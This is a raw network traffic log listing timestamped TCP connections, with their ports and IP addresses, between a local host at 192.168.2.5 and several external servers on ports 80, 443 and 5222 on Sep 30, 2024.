Sep 30, 2024 12:21:10.909387112 CEST	443	50423	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.910499096 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.912019014 CEST	5222	50422	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.912098885 CEST	50422	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.912432909 CEST	50422	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.915283918 CEST	80	50424	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.915393114 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.915555954 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.917237043 CEST	5222	50422	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.920269966 CEST	80	50424	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.920331955 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.920546055 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.925153971 CEST	80	50424	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.929347992 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.929373026 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.929383039 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.929512024 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.940574884 CEST	443	50409	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.940701008 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.940701008 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.943006039 CEST	80	50375	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.943083048 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.947402954 CEST	443	50420	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.952730894 CEST	80	50421	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.952812910 CEST	5222	50419	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.967820883 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.967861891 CEST	443	50425	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.967931986 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.969002008 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.969017029 CEST	443	50425	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.971575022 CEST	5222	50412	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.971637011 CEST	50412	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.981940031 CEST	443	50411	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.982064962 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.982074976 CEST	443	50411	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.982132912 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.982132912 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.995832920 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.996732950 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.014935017 CEST	50422	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.015247107 CEST	50423	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.015844107 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.015930891 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.016021967 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.017698050 CEST	50426	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.018743992 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.018778086 CEST	443	50427	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.018853903 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.019866943 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.019882917 CEST	443	50427	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.020593882 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.022466898 CEST	5222	50426	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.022608042 CEST	50426	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.022782087 CEST	50426	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.025432110 CEST	80	50428	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.025576115 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.025692940 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.027522087 CEST	5222	50426	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.030452013 CEST	80	50428	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.030509949 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.035250902 CEST	80	50428	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.038919926 CEST	80	50378	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.038980961 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.055294037 CEST	443	50413	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.055381060 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.055412054 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.059406042 CEST	443	50423	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.064744949 CEST	80	50424	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.064763069 CEST	5222	50422	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.064774036 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.066796064 CEST	5222	50415	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.066947937 CEST	50415	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.071774006 CEST	80	50380	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.071835041 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.078596115 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.107604027 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.108289003 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.113188982 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.119406939 CEST	443	50425	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.126360893 CEST	50426	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.126591921 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.126662970 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.126885891 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.128845930 CEST	50429	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.129612923 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.129632950 CEST	443	50430	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.129699945 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.130877018 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.130889893 CEST	443	50430	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.131365061 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.131725073 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.133883953 CEST	5222	50429	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.133956909 CEST	50429	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.134196043 CEST	50429	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.136562109 CEST	80	50431	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.136646032 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.136784077 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.138962030 CEST	5222	50429	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.141630888 CEST	80	50431	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.141683102 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.145705938 CEST	80	50384	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.145761967 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.146445990 CEST	80	50431	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.154591084 CEST	443	50416	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.154685020 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.154743910 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.167407990 CEST	443	50427	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.172760010 CEST	80	50428	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.172782898 CEST	5222	50426	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.181663990 CEST	5222	50419	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.181744099 CEST	50419	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.191709042 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.191746950 CEST	443	50432	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.191818953 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.192943096 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.192958117 CEST	443	50432	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.199980021 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.218301058 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.218379974 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.218923092 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.223685980 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.224111080 CEST	443	50418	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.224188089 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.224203110 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.237281084 CEST	50429	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.237467051 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.237708092 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.237888098 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.239253044 CEST	50433	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.239521980 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.239557981 CEST	443	50434	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.240299940 CEST	50435	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.240339041 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.241403103 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.241420031 CEST	443	50434	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.242469072 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.244153023 CEST	5222	50433	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.244328976 CEST	50433	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.244420052 CEST	50433	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.245239019 CEST	80	50435	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.245290995 CEST	50435	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.245409966 CEST	50435	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.249228001 CEST	5222	50433	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.250308990 CEST	80	50435	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.250356913 CEST	50435	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.255247116 CEST	80	50435	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.270284891 CEST	443	50420	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.270440102 CEST	443	50420	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.270450115 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.270450115 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.270488024 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.276819944 CEST	80	50387	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.276885986 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.283242941 CEST	5222	50422	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.283303022 CEST	50422	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.283390045 CEST	443	50430	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.284746885 CEST	80	50431	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.284768105 CEST	5222	50429	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.300354004 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.304850101 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.329194069 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.329274893 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.329898119 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.334662914 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.343403101 CEST	443	50432	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.348283052 CEST	50433	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.348495960 CEST	50435	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.348726034 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.348889112 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.350447893 CEST	50436	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.350604057 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.350636959 CEST	443	50437	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.350724936 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.351474047 CEST	50438	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.353296995 CEST	80	50391	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.353358030 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.353455067 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.355231047 CEST	5222	50436	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.355284929 CEST	50436	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.356300116 CEST	50436	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.356782913 CEST	80	50438	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.356843948 CEST	50438	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.356969118 CEST	50438	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.357326031 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.357340097 CEST	443	50437	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.361289024 CEST	5222	50436	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.361682892 CEST	80	50438	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.361740112 CEST	50438	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.366513968 CEST	80	50438	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.391403913 CEST	443	50434	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.396775007 CEST	80	50435	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.396789074 CEST	5222	50433	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.403167963 CEST	443	50423	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.403244019 CEST	50423	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.403261900 CEST	50423	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.413829088 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.413929939 CEST	443	50439	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.414033890 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.415077925 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.415117025 CEST	443	50439	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.419466972 CEST	5222	50426	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.419526100 CEST	50426	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.422378063 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.444348097 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.446043968 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.447374105 CEST	50441	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.449580908 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.449661970 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.450818062 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.450890064 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.451176882 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.452205896 CEST	80	50441	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.452266932 CEST	50441	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.452425957 CEST	50441	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.452461004 CEST	443	50425	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.452548981 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.452574968 CEST	50425	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.455960035 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.457189083 CEST	80	50441	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.457246065 CEST	50441	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.458225012 CEST	80	50394	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.458283901 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.460369110 CEST	50436	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.460545063 CEST	50438	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.460872889 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.462125063 CEST	80	50441	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.463370085 CEST	50442	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.464276075 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.464323044 CEST	443	50443	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.465178967 CEST	50444	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.465219975 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.466325998 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.466339111 CEST	443	50443	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.468261957 CEST	5222	50442	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.468755007 CEST	50442	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.469000101 CEST	50442	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.470154047 CEST	80	50444	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.470261097 CEST	50444	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.470488071 CEST	50444	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.474436045 CEST	5222	50442	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.476151943 CEST	80	50444	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.479289055 CEST	50444	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.485102892 CEST	80	50444	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.503405094 CEST	443	50437	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.503732920 CEST	443	50427	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.503820896 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.503820896 CEST	50427	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.508737087 CEST	80	50438	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.508752108 CEST	5222	50436	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.523634911 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.530570030 CEST	5222	50429	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.530663967 CEST	50429	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.567400932 CEST	443	50439	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.572050095 CEST	50442	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.572271109 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.572906017 CEST	50444	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.575650930 CEST	50445	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.576843023 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.576879978 CEST	443	50446	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.576966047 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.578736067 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.578746080 CEST	443	50446	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.581552982 CEST	5222	50445	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.582313061 CEST	50445	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.582587957 CEST	50445	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.583503008 CEST	50447	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.583619118 CEST	80	50398	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.583682060 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.588108063 CEST	5222	50445	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.589204073 CEST	80	50447	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.589293003 CEST	50447	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.589484930 CEST	50447	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.592479944 CEST	443	50430	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.592555046 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.592621088 CEST	50430	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.594247103 CEST	80	50447	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.594295979 CEST	50447	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.599112034 CEST	80	50447	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.615413904 CEST	443	50443	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.620819092 CEST	80	50444	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.620867014 CEST	5222	50442	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.629523039 CEST	5222	50433	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.629614115 CEST	50433	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.646554947 CEST	80	50400	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.646650076 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.653301001 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.653358936 CEST	443	50448	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.653455973 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.654644966 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.654664040 CEST	443	50448	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.673392057 CEST	443	50432	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.673512936 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.673523903 CEST	443	50432	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.673532963 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.673583984 CEST	50432	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.683960915 CEST	50445	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.684140921 CEST	50447	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.684395075 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.686686039 CEST	50449	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.686806917 CEST	50450	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.686836958 CEST	443	50450	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.687015057 CEST	50450	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.687716007 CEST	50451	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.688184977 CEST	50450	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.688198090 CEST	443	50450	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.693279028 CEST	5222	50449	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.693348885 CEST	50449	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.693559885 CEST	50449	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.694242001 CEST	80	50451	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.694293976 CEST	50451	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.694438934 CEST	50451	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.695177078 CEST	80	50403	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.695231915 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.698631048 CEST	5222	50449	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.699229002 CEST	80	50451	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.703011990 CEST	50451	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.709924936 CEST	80	50451	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.727427006 CEST	443	50446	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.727818012 CEST	5222	50436	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.727885962 CEST	50436	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.732815981 CEST	80	50447	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.732866049 CEST	5222	50445	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.734060049 CEST	443	50434	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.734179974 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.734217882 CEST	50434	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.747864008 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.791398048 CEST	443	50448	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.795660973 CEST	50449	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.795907974 CEST	50451	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:11.796297073 CEST	50450	443	192.168.2.5	172.65.251.78
